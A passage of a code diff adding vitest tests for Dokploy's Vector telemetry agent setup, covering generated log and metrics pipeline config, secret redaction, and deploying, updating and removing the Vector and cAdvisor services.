scrape_interval_secs: 30,
|
||||
collectors: [
|
||||
"cpu",
|
||||
"memory",
|
||||
"disk",
|
||||
"filesystem",
|
||||
"network",
|
||||
"load",
|
||||
"host",
|
||||
],
|
||||
});
|
||||
expect(
|
||||
config.sources.host_metrics_source.filesystem.filesystems.excludes,
|
||||
).toEqual(
|
||||
expect.arrayContaining([
|
||||
"overlay",
|
||||
"tmpfs",
|
||||
"squashfs",
|
||||
"devtmpfs",
|
||||
"nsfs",
|
||||
"proc",
|
||||
"sysfs",
|
||||
"devpts",
|
||||
"cgroup2",
|
||||
]),
|
||||
);
|
||||
expect(config.sources.host_metrics_source.network.devices.excludes).toEqual(
|
||||
["veth*", "br-*", "docker*"],
|
||||
);
|
||||
expect(config.sources.cadvisor_source).toEqual({
|
||||
type: "prometheus_scrape",
|
||||
endpoints: ["http://127.0.0.1:4510/metrics"],
|
||||
scrape_interval_secs: 30,
|
||||
scrape_timeout_secs: 10,
|
||||
});
|
||||
expect(config.transforms.dokploy_metrics_scope).toMatchObject({
|
||||
type: "remap",
|
||||
inputs: ["host_metrics_source", "cadvisor_source"],
|
||||
drop_on_abort: true,
|
||||
});
|
||||
expect(Object.keys(config.sinks)).toEqual(["sink_prom-1_metrics"]);
|
||||
expect(config.sinks["sink_prom-1_metrics"]).toMatchObject({
|
||||
type: "prometheus_remote_write",
|
||||
inputs: ["dokploy_metrics_scope"],
|
||||
});
|
||||
expect(config.transforms.dokploy_metrics_scope_local_only).toBeUndefined();
|
||||
});
|
||||
|
||||
it("on the local host it lets host series through and keeps only the owning organization's containers", () => {
|
||||
const config = build({ metricsProviders: [prom], organizationId: "org-a" });
|
||||
|
||||
expect(config.transforms.dokploy_metrics_scope_local_only).toEqual({
|
||||
type: "filter",
|
||||
inputs: ["dokploy_metrics_scope"],
|
||||
condition:
|
||||
'.namespace == "host" || .tags.dokploy_organization == "org-a"',
|
||||
});
|
||||
expect(config.sinks["sink_prom-1_metrics"].inputs).toEqual([
|
||||
"dokploy_metrics_scope_local_only",
|
||||
]);
|
||||
});
|
||||
|
||||
it("a provider assigned to both signals gets a logs sink and a metrics sink without clashing", () => {
|
||||
const config = build({
|
||||
logProviders: [datadog],
|
||||
metricsProviders: [datadog],
|
||||
organizationId: "org-a",
|
||||
});
|
||||
|
||||
expect(config.sinks["sink_dd-1"]).toMatchObject({
|
||||
type: "datadog_logs",
|
||||
inputs: ["transform_dd-1"],
|
||||
});
|
||||
expect(config.sinks["sink_dd-1_metrics"]).toMatchObject({
|
||||
type: "datadog_metrics",
|
||||
inputs: ["dokploy_metrics_scope_local_only"],
|
||||
});
|
||||
expect(config.transforms["transform_dd-1_metrics"]).toBeUndefined();
|
||||
});
|
||||
|
||||
it("tags every series with the server name, promotes non-empty dokploy labels and drops the cgroup id", () => {
|
||||
const source = buildMetricsScopeTransformSource('srv "quoted"');
|
||||
|
||||
expect(source).toContain('.tags.dokploy_server = "srv \\"quoted\\""');
|
||||
expect(source).toContain(
|
||||
'if .namespace != "host" && !starts_with(string!(.name), "container_") { abort }',
|
||||
);
|
||||
expect(source).toContain(
|
||||
'value = del(.tags.container_label_dokploy_application)\nif is_string(value) && value != "" { .tags.dokploy_application = value }',
|
||||
);
|
||||
expect(source.trim().endsWith("del(.tags.id)")).toBe(true);
|
||||
expect(
|
||||
build({ metricsProviders: [prom] }).transforms.dokploy_metrics_scope
|
||||
.source,
|
||||
).toBe(buildMetricsScopeTransformSource("my server"));
|
||||
});
|
||||
});
|
||||
|
||||
describe("buildVectorConfigYaml — dollar signs", () => {
|
||||
it("keeps every $ literal because the agent runs without env var interpolation", () => {
|
||||
const yamlStr = buildVectorConfigYaml({
|
||||
logProviders: [
|
||||
provider({
|
||||
telemetryProviderId: "loki-1",
|
||||
name: "loki",
|
||||
providerType: "loki",
|
||||
endpoint: "https://loki.example.com",
|
||||
apiKey: "Pa$5w0rd$HOME",
|
||||
extraConfig: { username: "12345" },
|
||||
}),
|
||||
],
|
||||
metricsProviders: [prom],
|
||||
serverName: "srv $ONE",
|
||||
});
|
||||
|
||||
expect(yamlStr).not.toContain("$$");
|
||||
expect(yamlStr).toContain("srv $ONE");
|
||||
expect(parse(yamlStr).sinks["sink_loki-1"].auth.password).toBe(
|
||||
"Pa$5w0rd$HOME",
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("collectSecretValues / redactSecrets", () => {
|
||||
it("collects endpoint/apiKey/apiSecret across all providers but only the password-type extraConfig fields", () => {
|
||||
const providers = [
|
||||
{
|
||||
providerType: "loki",
|
||||
endpoint: "https://loki.example.com",
|
||||
apiKey: "loki-key",
|
||||
apiSecret: null,
|
||||
extraConfig: { tenantId: "tenant-a", username: "12345" },
|
||||
},
|
||||
{
|
||||
providerType: "datadog",
|
||||
endpoint: null,
|
||||
apiKey: "dd-key",
|
||||
apiSecret: null,
|
||||
extraConfig: { site: "datadoghq.eu" },
|
||||
},
|
||||
{
|
||||
providerType: "aws_cloudwatch",
|
||||
endpoint: null,
|
||||
apiKey: "AKIA",
|
||||
apiSecret: "shh",
|
||||
extraConfig: { region: "us-east-1", metricsNamespace: "Dokploy" },
|
||||
},
|
||||
] as any;
|
||||
|
||||
const values = collectSecretValues(providers);
|
||||
expect(values).toEqual(
|
||||
expect.arrayContaining([
|
||||
"https://loki.example.com",
|
||||
"loki-key",
|
||||
"dd-key",
|
||||
"AKIA",
|
||||
"shh",
|
||||
]),
|
||||
);
|
||||
for (const plain of [
|
||||
"tenant-a",
|
||||
"12345",
|
||||
"datadoghq.eu",
|
||||
"us-east-1",
|
||||
"Dokploy",
|
||||
]) {
|
||||
expect(values).not.toContain(plain);
|
||||
}
|
||||
});
|
||||
|
||||
it("ignores null/empty credentials", () => {
|
||||
const providers = [
|
||||
{
|
||||
providerType: "elasticsearch",
|
||||
endpoint: null,
|
||||
apiKey: null,
|
||||
apiSecret: null,
|
||||
extraConfig: { limit: 10, enabled: true, empty: "" },
|
||||
},
|
||||
] as any;
|
||||
expect(collectSecretValues(providers)).toEqual([]);
|
||||
});
|
||||
|
||||
it("redacts every collected secret, longest first so a short one can't eat part of a longer one", () => {
|
||||
const providers = [
|
||||
{
|
||||
providerType: "loki",
|
||||
endpoint: null,
|
||||
apiKey: "hunter2-long-suffix",
|
||||
apiSecret: "hunter2",
|
||||
extraConfig: null,
|
||||
},
|
||||
] as any;
|
||||
const text =
|
||||
"sink validation error near apiKey=hunter2-long-suffix and hunter2";
|
||||
|
||||
const redacted = redactSecrets(text, collectSecretValues(providers));
|
||||
|
||||
expect(redacted).not.toContain("hunter2");
|
||||
expect(redacted).toBe(
|
||||
"sink validation error near apiKey=[redacted] and [redacted]",
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("vrlString", () => {
|
||||
it("quotes and escapes like JSON but drops the control characters VRL rejects", () => {
|
||||
expect(vrlString('my "server"')).toBe('"my \\"server\\""');
|
||||
expect(vrlString("back\\slash")).toBe('"back\\\\slash"');
|
||||
expect(vrlString("a\u0008b\u000cc\u0000d\u007fe\nf")).toBe('"abcdef"');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,526 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { parse } from "yaml";
|
||||
|
||||
const mocks = vi.hoisted(() => ({
|
||||
findServerById: vi.fn(),
|
||||
getWebServerSettings: vi.fn(),
|
||||
findEnabledTelemetryProvidersByOrganization: vi.fn(),
|
||||
execAsync: vi.fn(),
|
||||
execAsyncRemote: vi.fn(),
|
||||
inspectService: vi.fn(),
|
||||
updateService: vi.fn(),
|
||||
removeService: vi.fn(),
|
||||
createService: vi.fn(),
|
||||
getService: vi.fn(),
|
||||
listContainers: vi.fn(),
|
||||
killContainer: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server/db", () => ({ db: {} }));
|
||||
vi.mock("@dokploy/server/constants", () => ({
|
||||
IS_CLOUD: false,
|
||||
paths: (isServer: boolean) => ({
|
||||
VECTOR_PATH: isServer ? "/etc/dokploy/vector" : "/local/dokploy/vector",
|
||||
}),
|
||||
}));
|
||||
vi.mock("@dokploy/server/services/server", () => ({
|
||||
findServerById: mocks.findServerById,
|
||||
findServersByOrganizationForVectorAgent: vi.fn(),
|
||||
getAccessibleServerIds: vi.fn(),
|
||||
}));
|
||||
vi.mock("@dokploy/server/services/web-server-settings", () => ({
|
||||
getWebServerSettings: mocks.getWebServerSettings,
|
||||
}));
|
||||
vi.mock(
|
||||
"@dokploy/server/services/logs-and-metrics/service",
|
||||
async (importOriginal) => ({
|
||||
...(await importOriginal<
|
||||
typeof import("@dokploy/server/services/logs-and-metrics/service")
|
||||
>()),
|
||||
findEnabledTelemetryProvidersByOrganization:
|
||||
mocks.findEnabledTelemetryProvidersByOrganization,
|
||||
}),
|
||||
);
|
||||
vi.mock("@dokploy/server/utils/process/execAsync", () => ({
|
||||
execAsync: mocks.execAsync,
|
||||
execAsyncRemote: mocks.execAsyncRemote,
|
||||
}));
|
||||
vi.mock("@dokploy/server/utils/servers/remote-docker", () => ({
|
||||
getRemoteDocker: async () => ({
|
||||
getService: mocks.getService,
|
||||
createService: mocks.createService,
|
||||
listContainers: mocks.listContainers,
|
||||
getContainer: () => ({ kill: mocks.killContainer }),
|
||||
}),
|
||||
}));
|
||||
|
||||
const { reconcileVectorAgent, removeVectorAgent } = await import(
|
||||
"@dokploy/server/setup/vector-setup"
|
||||
);
|
||||
|
||||
const lokiProvider = {
|
||||
telemetryProviderId: "lp-1",
|
||||
name: "loki",
|
||||
providerType: "loki",
|
||||
signals: ["logs"],
|
||||
endpoint: "https://loki.example.com",
|
||||
apiKey: "sekret-token",
|
||||
apiSecret: null,
|
||||
extraConfig: null,
|
||||
enabled: true,
|
||||
organizationId: "org-a",
|
||||
};
|
||||
|
||||
const promProvider = {
|
||||
...lokiProvider,
|
||||
telemetryProviderId: "mp-1",
|
||||
name: "prom",
|
||||
providerType: "prometheus_remote_write",
|
||||
signals: ["metrics"],
|
||||
endpoint: "http://prom.example.com:9090/api/v1/write",
|
||||
apiKey: null,
|
||||
};
|
||||
|
||||
const notFound = () =>
|
||||
Object.assign(new Error("not found"), { statusCode: 404 });
|
||||
|
||||
const writtenYaml = (command: string) => {
|
||||
const match = command.match(/echo "([^"]+)" \| base64 -d/);
|
||||
return parse(Buffer.from(match?.[1] ?? "", "base64").toString("utf8"));
|
||||
};
|
||||
|
||||
const commandsOf = (mock: typeof mocks.execAsync) =>
|
||||
mock.mock.calls.map((call) => String(call[call.length - 1]));
|
||||
|
||||
beforeEach(() => {
|
||||
for (const mock of Object.values(mocks)) mock.mockReset();
|
||||
mocks.getService.mockImplementation(() => ({
|
||||
inspect: mocks.inspectService,
|
||||
update: mocks.updateService,
|
||||
remove: mocks.removeService,
|
||||
}));
|
||||
mocks.inspectService.mockRejectedValue(notFound());
|
||||
mocks.removeService.mockRejectedValue(notFound());
|
||||
mocks.execAsync.mockResolvedValue({ stdout: "", stderr: "" });
|
||||
mocks.execAsyncRemote.mockResolvedValue({ stdout: "", stderr: "" });
|
||||
mocks.listContainers.mockResolvedValue([{ Id: "vector-container" }]);
|
||||
mocks.killContainer.mockResolvedValue(undefined);
|
||||
});
|
||||
|
||||
describe("reconcileVectorAgent", () => {
|
||||
it("writes, validates and applies the YAML and deploys Vector for the saved selection", async () => {
|
||||
mocks.getWebServerSettings.mockResolvedValue({
|
||||
vectorAgentOrganizationId: "org-a",
|
||||
telemetryProviderIds: ["lp-1"],
|
||||
});
|
||||
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
|
||||
lokiProvider,
|
||||
]);
|
||||
|
||||
await reconcileVectorAgent();
|
||||
|
||||
const commands = commandsOf(mocks.execAsync);
|
||||
expect(commands).toHaveLength(3);
|
||||
expect(commands[0]).toContain(
|
||||
"/local/dokploy/vector/vector.yaml.candidate.",
|
||||
);
|
||||
expect(commands[1]).toMatch(
|
||||
/timberio\/vector:\d+\.\d+\.\d+-alpine validate --skip-healthchecks/,
|
||||
);
|
||||
expect(commands[2]).toMatch(
|
||||
/^mv \/local\/dokploy\/vector\/vector\.yaml\.candidate\.\S+ \/local\/dokploy\/vector\/vector\.yaml$/,
|
||||
);
|
||||
expect(mocks.execAsyncRemote).not.toHaveBeenCalled();
|
||||
|
||||
const config = writtenYaml(commands[0] ?? "");
|
||||
expect(config.sinks["sink_lp-1"].inputs).toEqual([
|
||||
"dokploy_scope_local_only",
|
||||
]);
|
||||
expect(config.sources.host_metrics_source).toBeUndefined();
|
||||
|
||||
expect(mocks.createService).toHaveBeenCalledTimes(1);
|
||||
expect(mocks.createService.mock.calls[0]?.[0]).toMatchObject({
|
||||
Name: "dokploy-vector",
|
||||
});
|
||||
expect(mocks.getService).toHaveBeenCalledWith("dokploy-cadvisor");
|
||||
expect(mocks.removeService).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it("splits one selection into the logs and metrics pipelines by what each provider sends", async () => {
|
||||
const datadogProvider = {
|
||||
...lokiProvider,
|
||||
telemetryProviderId: "dd-1",
|
||||
name: "datadog",
|
||||
providerType: "datadog",
|
||||
signals: ["logs", "metrics"],
|
||||
endpoint: null,
|
||||
apiKey: "dd-key",
|
||||
};
|
||||
const unselected = { ...lokiProvider, telemetryProviderId: "lp-9" };
|
||||
mocks.getWebServerSettings.mockResolvedValue({
|
||||
vectorAgentOrganizationId: "org-a",
|
||||
telemetryProviderIds: ["lp-1", "mp-1", "dd-1"],
|
||||
});
|
||||
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
|
||||
lokiProvider,
|
||||
promProvider,
|
||||
datadogProvider,
|
||||
unselected,
|
||||
]);
|
||||
|
||||
await reconcileVectorAgent();
|
||||
|
||||
const config = writtenYaml(commandsOf(mocks.execAsync)[0] ?? "");
|
||||
const sinkIds = Object.keys(config.sinks);
|
||||
expect(sinkIds.some((id) => id.includes("lp-1"))).toBe(true);
|
||||
expect(sinkIds.some((id) => id.includes("mp-1"))).toBe(true);
|
||||
expect(sinkIds.filter((id) => id.includes("dd-1")).length).toBe(2);
|
||||
expect(sinkIds.some((id) => id.includes("lp-9"))).toBe(false);
|
||||
expect(config.sources.docker_logs_source).toBeDefined();
|
||||
expect(config.sources.cadvisor_source).toBeDefined();
|
||||
expect(mocks.createService.mock.calls.map((c) => c[0].Name)).toEqual([
|
||||
"dokploy-vector",
|
||||
"dokploy-cadvisor",
|
||||
]);
|
||||
});
|
||||
|
||||
it("removes cAdvisor but keeps Vector when no selected provider sends metrics", async () => {
|
||||
mocks.getWebServerSettings.mockResolvedValue({
|
||||
vectorAgentOrganizationId: "org-a",
|
||||
telemetryProviderIds: ["lp-1", "mp-1"],
|
||||
});
|
||||
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
|
||||
lokiProvider,
|
||||
]);
|
||||
|
||||
await reconcileVectorAgent();
|
||||
|
||||
const config = writtenYaml(commandsOf(mocks.execAsync)[0] ?? "");
|
||||
expect(config.sources.cadvisor_source).toBeUndefined();
|
||||
expect(mocks.createService.mock.calls.map((c) => c[0].Name)).toEqual([
|
||||
"dokploy-vector",
|
||||
]);
|
||||
expect(mocks.getService).toHaveBeenCalledWith("dokploy-cadvisor");
|
||||
expect(mocks.removeService).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it("filters by the organization only on the local host and runs on the server over SSH", async () => {
|
||||
mocks.findServerById.mockResolvedValue({
|
||||
serverId: "server-1",
|
||||
organizationId: "org-a",
|
||||
name: "edge-1",
|
||||
telemetryProviderIds: ["lp-1"],
|
||||
});
|
||||
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
|
||||
lokiProvider,
|
||||
]);
|
||||
|
||||
await reconcileVectorAgent("server-1");
|
||||
|
||||
expect(mocks.execAsync).not.toHaveBeenCalled();
|
||||
expect(
|
||||
mocks.execAsyncRemote.mock.calls.every((c) => c[0] === "server-1"),
|
||||
).toBe(true);
|
||||
const config = writtenYaml(commandsOf(mocks.execAsyncRemote)[0] ?? "");
|
||||
expect(config.transforms.dokploy_scope_local_only).toBeUndefined();
|
||||
expect(config.sinks["sink_lp-1"].inputs).toEqual(["dokploy_scope"]);
|
||||
});
|
||||
|
||||
it("does not apply a config that vector validate rejects, redacts secrets and leaves the selection alone", async () => {
|
||||
mocks.getWebServerSettings.mockResolvedValue({
|
||||
vectorAgentOrganizationId: "org-a",
|
||||
telemetryProviderIds: ["lp-1"],
|
||||
});
|
||||
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
|
||||
lokiProvider,
|
||||
]);
|
||||
mocks.execAsync.mockImplementation(async (command: string) => {
|
||||
if (command.includes("validate")) {
|
||||
throw new Error("bad sink: password sekret-token rejected");
|
||||
}
|
||||
return { stdout: "", stderr: "" };
|
||||
});
|
||||
|
||||
await expect(reconcileVectorAgent()).rejects.toThrow(
|
||||
/failed validation, not applying it: bad sink: password \[redacted\] rejected/,
|
||||
);
|
||||
|
||||
const commands = commandsOf(mocks.execAsync);
|
||||
expect(commands.some((c) => c.startsWith("mv "))).toBe(false);
|
||||
expect(commands.some((c) => c.startsWith("rm -f "))).toBe(true);
|
||||
expect(mocks.createService).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("removes the agent when no enabled provider is left in the selection", async () => {
|
||||
mocks.getWebServerSettings.mockResolvedValue({
|
||||
vectorAgentOrganizationId: "org-a",
|
||||
telemetryProviderIds: ["deleted-or-disabled"],
|
||||
});
|
||||
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([]);
|
||||
|
||||
await reconcileVectorAgent();
|
||||
|
||||
expect(mocks.getService).toHaveBeenCalledWith("dokploy-cadvisor");
|
||||
expect(mocks.getService).toHaveBeenCalledWith("dokploy-vector");
|
||||
expect(mocks.removeService).toHaveBeenCalledTimes(2);
|
||||
expect(commandsOf(mocks.execAsync)).toEqual([
|
||||
"rm -rf /local/dokploy/vector",
|
||||
]);
|
||||
expect(mocks.createService).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("removes the agent when the selection is empty, without an owner", async () => {
|
||||
mocks.getWebServerSettings.mockResolvedValue({
|
||||
vectorAgentOrganizationId: null,
|
||||
telemetryProviderIds: [],
|
||||
});
|
||||
|
||||
await reconcileVectorAgent();
|
||||
|
||||
expect(
|
||||
mocks.findEnabledTelemetryProvidersByOrganization,
|
||||
).not.toHaveBeenCalled();
|
||||
expect(mocks.removeService).toHaveBeenCalledTimes(2);
|
||||
});
|
||||
|
||||
it("deploys cAdvisor next to Vector when metrics providers are assigned", async () => {
|
||||
mocks.getWebServerSettings.mockResolvedValue({
|
||||
vectorAgentOrganizationId: "org-a",
|
||||
telemetryProviderIds: ["mp-1"],
|
||||
});
|
||||
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
|
||||
promProvider,
|
||||
]);
|
||||
|
||||
await reconcileVectorAgent();
|
||||
|
||||
const config = writtenYaml(commandsOf(mocks.execAsync)[0] ?? "");
|
||||
expect(config.sources.docker_logs_source).toBeUndefined();
|
||||
expect(config.sources.cadvisor_source.endpoints).toEqual([
|
||||
"http://127.0.0.1:4510/metrics",
|
||||
]);
|
||||
|
||||
expect(mocks.createService.mock.calls.map((c) => c[0].Name)).toEqual([
|
||||
"dokploy-vector",
|
||||
"dokploy-cadvisor",
|
||||
]);
|
||||
const cadvisor = mocks.createService.mock.calls[1]?.[0];
|
||||
expect(cadvisor.TaskTemplate.ContainerSpec.Image).toMatch(
|
||||
/^ghcr\.io\/google\/cadvisor:v\d+\.\d+\.\d+$/,
|
||||
);
|
||||
expect(cadvisor.TaskTemplate.ContainerSpec.Args).toEqual(
|
||||
expect.arrayContaining([
|
||||
"--listen_ip=127.0.0.1",
|
||||
"--port=4510",
|
||||
"--docker_only=true",
|
||||
"--store_container_labels=false",
|
||||
]),
|
||||
);
|
||||
expect(cadvisor.TaskTemplate.ContainerSpec.HealthCheck).toEqual({
|
||||
Test: ["NONE"],
|
||||
});
|
||||
expect(cadvisor.TaskTemplate.Networks).toEqual([{ Target: "host" }]);
|
||||
expect(mocks.removeService).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("removes the agent on a remote server when the selection is empty", async () => {
|
||||
mocks.findServerById.mockResolvedValue({
|
||||
serverId: "server-1",
|
||||
sshKeyId: "key-1",
|
||||
organizationId: "org-a",
|
||||
name: "edge-1",
|
||||
telemetryProviderIds: [],
|
||||
});
|
||||
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([]);
|
||||
|
||||
await reconcileVectorAgent("server-1");
|
||||
|
||||
expect(
|
||||
mocks.findEnabledTelemetryProvidersByOrganization,
|
||||
).toHaveBeenCalled();
|
||||
expect(mocks.removeService).toHaveBeenCalledTimes(2);
|
||||
expect(mocks.createService).not.toHaveBeenCalled();
|
||||
expect(commandsOf(mocks.execAsyncRemote)).toEqual([
|
||||
"rm -rf /etc/dokploy/vector",
|
||||
]);
|
||||
});
|
||||
|
||||
it("redacts the config and secrets when writing or applying the candidate fails", async () => {
|
||||
mocks.getWebServerSettings.mockResolvedValue({
|
||||
vectorAgentOrganizationId: "org-a",
|
||||
telemetryProviderIds: ["lp-1"],
|
||||
});
|
||||
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
|
||||
lokiProvider,
|
||||
]);
|
||||
const echoCommand = async (command: string) => {
|
||||
if (command.includes("base64 -d") || command.startsWith("mv ")) {
|
||||
throw new Error(`Command failed: ${command} (token sekret-token)`);
|
||||
}
|
||||
return { stdout: "", stderr: "" };
|
||||
};
|
||||
mocks.execAsync.mockImplementation(echoCommand);
|
||||
|
||||
const writeError = await reconcileVectorAgent().catch(
|
||||
(e: Error) => e.message,
|
||||
);
|
||||
expect(writeError).toMatch(/^Failed to write the Vector config: /);
|
||||
expect(writeError).not.toContain("sekret-token");
|
||||
expect(writeError).not.toContain(
|
||||
Buffer.from("data_dir").toString("base64").slice(0, 8),
|
||||
);
|
||||
expect(writeError).toContain("[redacted]");
|
||||
|
||||
mocks.execAsync.mockImplementation(async (command: string) => {
|
||||
if (command.startsWith("mv ")) return echoCommand(command);
|
||||
return { stdout: "", stderr: "" };
|
||||
});
|
||||
const applyError = await reconcileVectorAgent().catch(
|
||||
(e: Error) => e.message,
|
||||
);
|
||||
expect(applyError).toMatch(/^Failed to apply the Vector config: /);
|
||||
expect(applyError).not.toContain("sekret-token");
|
||||
expect(mocks.createService).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("propagates a rejected service update instead of pretending the create succeeded", async () => {
|
||||
mocks.getWebServerSettings.mockResolvedValue({
|
||||
vectorAgentOrganizationId: "org-a",
|
||||
telemetryProviderIds: ["lp-1"],
|
||||
});
|
||||
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
|
||||
lokiProvider,
|
||||
]);
|
||||
mocks.inspectService.mockResolvedValue({
|
||||
Version: { Index: "7" },
|
||||
Spec: { TaskTemplate: { ForceUpdate: 2 } },
|
||||
});
|
||||
mocks.updateService.mockRejectedValue(
|
||||
new Error("rpc error: invalid mount"),
|
||||
);
|
||||
|
||||
await expect(reconcileVectorAgent()).rejects.toThrow("invalid mount");
|
||||
expect(mocks.createService).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("propagates an inspect failure that is not a 404", async () => {
|
||||
mocks.getWebServerSettings.mockResolvedValue({
|
||||
vectorAgentOrganizationId: "org-a",
|
||||
telemetryProviderIds: ["lp-1"],
|
||||
});
|
||||
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
|
||||
lokiProvider,
|
||||
]);
|
||||
mocks.inspectService.mockRejectedValue(
|
||||
Object.assign(new Error("daemon unreachable"), { statusCode: 500 }),
|
||||
);
|
||||
|
||||
await expect(reconcileVectorAgent()).rejects.toThrow("daemon unreachable");
|
||||
expect(mocks.createService).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("does not restart Vector on a config-only redeploy", async () => {
|
||||
mocks.getWebServerSettings.mockResolvedValue({
|
||||
vectorAgentOrganizationId: "org-a",
|
||||
telemetryProviderIds: ["lp-1"],
|
||||
});
|
||||
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
|
||||
lokiProvider,
|
||||
]);
|
||||
mocks.inspectService.mockImplementation(async () => ({
|
||||
Version: { Index: "7" },
|
||||
Spec: {
|
||||
TaskTemplate: {
|
||||
ForceUpdate: 2,
|
||||
ContainerSpec: mocks.createService.mock.calls[0]?.[0]
|
||||
? undefined
|
||||
: undefined,
|
||||
},
|
||||
},
|
||||
}));
|
||||
|
||||
await reconcileVectorAgent();
|
||||
expect(mocks.killContainer).toHaveBeenCalledWith({ signal: "SIGHUP" });
|
||||
expect(mocks.listContainers).toHaveBeenCalledWith({
|
||||
filters: JSON.stringify({
|
||||
label: ["com.docker.swarm.service.name=dokploy-vector"],
|
||||
}),
|
||||
});
|
||||
const firstSpec = mocks.updateService.mock.calls[0]?.[0];
|
||||
mocks.inspectService.mockResolvedValue({
|
||||
Version: { Index: "8" },
|
||||
Spec: { TaskTemplate: { ...firstSpec.TaskTemplate, ForceUpdate: 3 } },
|
||||
});
|
||||
mocks.updateService.mockClear();
|
||||
|
||||
await reconcileVectorAgent();
|
||||
expect(mocks.updateService).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
version: 8,
|
||||
TaskTemplate: expect.objectContaining({ ForceUpdate: 3 }),
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it("updates an existing Vector service instead of creating it", async () => {
|
||||
mocks.getWebServerSettings.mockResolvedValue({
|
||||
vectorAgentOrganizationId: "org-a",
|
||||
telemetryProviderIds: ["lp-1"],
|
||||
});
|
||||
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
|
||||
lokiProvider,
|
||||
]);
|
||||
mocks.inspectService.mockResolvedValue({
|
||||
Version: { Index: "7" },
|
||||
Spec: { TaskTemplate: { ForceUpdate: 2 } },
|
||||
});
|
||||
|
||||
await reconcileVectorAgent();
|
||||
|
||||
expect(mocks.createService).not.toHaveBeenCalled();
|
||||
expect(mocks.updateService).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
version: 7,
|
||||
TaskTemplate: expect.objectContaining({ ForceUpdate: 3 }),
|
||||
}),
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("removeVectorAgent", () => {
|
||||
it("removes cAdvisor, then Vector, then the config directory", async () => {
|
||||
await removeVectorAgent();
|
||||
|
||||
expect(mocks.getService.mock.calls.map((c) => c[0])).toEqual([
|
||||
"dokploy-cadvisor",
|
||||
"dokploy-vector",
|
||||
]);
|
||||
expect(commandsOf(mocks.execAsync)).toEqual([
|
||||
"rm -rf /local/dokploy/vector",
|
||||
]);
|
||||
});
|
||||
|
||||
it("keeps going when cAdvisor cannot be removed", async () => {
|
||||
mocks.removeService
|
||||
.mockRejectedValueOnce(new Error("docker hiccup"))
|
||||
.mockRejectedValueOnce(notFound());
|
||||
|
||||
await removeVectorAgent();
|
||||
|
||||
expect(mocks.removeService).toHaveBeenCalledTimes(2);
|
||||
expect(commandsOf(mocks.execAsync)).toEqual([
|
||||
"rm -rf /local/dokploy/vector",
|
||||
]);
|
||||
});
|
||||
|
||||
it("refuses a server without an SSH key before touching cAdvisor or Vector", async () => {
|
||||
mocks.findServerById.mockResolvedValue({
|
||||
serverId: "server-1",
|
||||
sshKeyId: null,
|
||||
});
|
||||
|
||||
await expect(removeVectorAgent("server-1")).rejects.toThrow(/SSH key/);
|
||||
expect(mocks.getService).not.toHaveBeenCalled();
|
||||
expect(mocks.execAsyncRemote).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,214 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const mocks = vi.hoisted(() => ({
|
||||
listTasks: vi.fn(),
|
||||
inspectService: vi.fn(),
|
||||
findServersByOrganizationForVectorAgent: vi.fn(),
|
||||
getAccessibleServerIds: vi.fn(),
|
||||
getWebServerSettings: vi.fn(),
|
||||
findTelemetryProvidersByOrganization: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server/db", () => ({ db: {} }));
|
||||
vi.mock("@dokploy/server/constants", () => ({
|
||||
IS_CLOUD: false,
|
||||
paths: () => ({ VECTOR_PATH: "/etc/dokploy/vector" }),
|
||||
}));
|
||||
vi.mock("@dokploy/server/services/server", () => ({
|
||||
findServerById: vi.fn(),
|
||||
findServersByOrganizationForVectorAgent:
|
||||
mocks.findServersByOrganizationForVectorAgent,
|
||||
getAccessibleServerIds: mocks.getAccessibleServerIds,
|
||||
}));
|
||||
vi.mock("@dokploy/server/services/web-server-settings", () => ({
|
||||
getWebServerSettings: mocks.getWebServerSettings,
|
||||
}));
|
||||
vi.mock(
|
||||
"@dokploy/server/services/logs-and-metrics/service",
|
||||
async (importOriginal) => ({
|
||||
...(await importOriginal<
|
||||
typeof import("@dokploy/server/services/logs-and-metrics/service")
|
||||
>()),
|
||||
findTelemetryProvidersByOrganization:
|
||||
mocks.findTelemetryProvidersByOrganization,
|
||||
}),
|
||||
);
|
||||
vi.mock("@dokploy/server/utils/servers/remote-docker", () => ({
|
||||
getRemoteDocker: async () => ({
|
||||
listTasks: mocks.listTasks,
|
||||
getService: () => ({ inspect: mocks.inspectService }),
|
||||
}),
|
||||
}));
|
||||
|
||||
const { getVectorAgentTargets, withVectorTargetLock } = await import(
|
||||
"@dokploy/server/setup/vector-setup"
|
||||
);
|
||||
|
||||
const session = { userId: "user-1", activeOrganizationId: "org-1" };
|
||||
|
||||
describe("getVectorAgentTargets", () => {
|
||||
beforeEach(() => {
|
||||
